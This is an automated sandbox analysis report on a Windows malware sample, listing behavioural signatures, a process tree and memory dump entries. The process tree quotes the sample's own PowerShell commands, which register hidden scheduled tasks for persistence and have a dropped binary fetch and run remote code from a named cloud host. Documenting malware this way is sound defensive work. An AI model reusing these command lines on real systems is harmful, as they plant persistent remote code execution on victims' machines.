Analysis

  • max time kernel
    67s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    12/07/2021, 07:13

General

  • Target
    30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe
  • Size 4.7MB
  • Sample210712-c1pcdcemms
  • SHA256 30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446
  • MD5 SHA1 SHA512
Score
8/10

Malware Config

Signatures

  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 64 IoCs
  • GoLang User-Agent 2 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe
    "C:\Users\Admin\AppData\Local\Temp\30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Windows\SysWOW64\ping.exe
      ping baidu.com
      2⤵
      • Runs ping.exe
      PID:1504
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_SETTINGS',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_SETTINGS"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:760
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_SETTINGS',$taskdefinition,6,$null,$null,0,$null);
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:704
      • C:\Windows\SysWOW64\schtasks.exe
        SCHTASKS /Run /TN SYSTEM_SETTINGS
        3⤵
          PID:644
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\flash.exe';$action.Arguments = '';$rootFolder.RegisterTaskDefinition('SYSTEM_TEST',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_TEST && SCHTASKS /DELETE /F /TN SYSTEM_TEST "
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1208
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\flash.exe';$action.Arguments = '';$rootFolder.RegisterTaskDefinition('SYSTEM_TEST',$taskdefinition,6,$null,$null,0,$null);
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1568
        • C:\Windows\SysWOW64\schtasks.exe
          SCHTASKS /Run /TN SYSTEM_TEST
          3⤵
            PID:1752
          • C:\Windows\SysWOW64\schtasks.exe
            SCHTASKS /DELETE /F /TN SYSTEM_TEST
            3⤵
              PID:1120
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_CDAEMON',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_CDAEMON"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:824
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_CDAEMON',$taskdefinition,6,$null,$null,0,$null);
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1144
            • C:\Windows\SysWOW64\schtasks.exe
              SCHTASKS /Run /TN SYSTEM_CDAEMON
              3⤵
                PID:1844
          • C:\Windows\system32\taskeng.exe
            taskeng.exe {DFF2F14F-C589-436D-9C90-D96D3D7151F2} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]
            1⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:596
            • C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe
              C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\')).read().decode())')" a a
              2⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:1728
            • C:\Users\Public\flash.exe
              C:\Users\Public\flash.exe
              2⤵
              • Executes dropped EXE
              • Modifies Internet Explorer settings
              • Modifies system certificate store
              • Suspicious use of SetWindowsHookEx
              PID:1472
            • C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe
              C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\')).read().decode())')" a a
              2⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:1904

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                memory/704-66-0x0000000004870000-0x0000000004871000-memory.dmp

                memory/704-65-0x0000000001020000-0x0000000001021000-memory.dmp

                memory/704-71-0x0000000005620000-0x0000000005621000-memory.dmp

                memory/704-68-0x0000000005260000-0x0000000005261000-memory.dmp

                memory/704-77-0x0000000006250000-0x0000000006251000-memory.dmp

                memory/704-67-0x0000000004872000-0x0000000004873000-memory.dmp

                memory/704-84-0x0000000005880000-0x0000000005881000-memory.dmp

                memory/704-85-0x00000000062E0000-0x00000000062E1000-memory.dmp

                memory/704-86-0x000000007EF30000-0x000000007EF31000-memory.dmp

                memory/704-76-0x0000000005690000-0x0000000005691000-memory.dmp

                memory/704-64-0x00000000048B0000-0x00000000048B1000-memory.dmp

                memory/704-62-0x00000000752F1000-0x00000000752F3000-memory.dmp

                memory/704-63-0x0000000000870000-0x0000000000871000-memory.dmp

                memory/1144-170-0x00000000023F0000-0x00000000023F1000-memory.dmp

                memory/1144-177-0x00000000060F0000-0x00000000060F1000-memory.dmp

                memory/1144-176-0x0000000004872000-0x0000000004873000-memory.dmp

                memory/1144-175-0x0000000004870000-0x0000000004871000-memory.dmp

                memory/1144-173-0x0000000005320000-0x0000000005321000-memory.dmp

                memory/1144-172-0x0000000002710000-0x0000000002711000-memory.dmp

                memory/1144-171-0x00000000048B0000-0x00000000048B1000-memory.dmp

                memory/1472-174-0x0000000000080000-0x0000000000083000-memory.dmp

                memory/1568-161-0x00000000049C2000-0x00000000049C3000-memory.dmp

                memory/1568-162-0x00000000060F0000-0x00000000060F1000-memory.dmp

                memory/1568-159-0x00000000049C0000-0x00000000049C1000-memory.dmp

                memory/1568-160-0x0000000005320000-0x0000000005321000-memory.dmp

                memory/1568-158-0x0000000004820000-0x0000000004821000-memory.dmp

                memory/1568-157-0x0000000004A00000-0x0000000004A01000-memory.dmp

                memory/1568-156-0x00000000022A0000-0x00000000022A1000-memory.dmp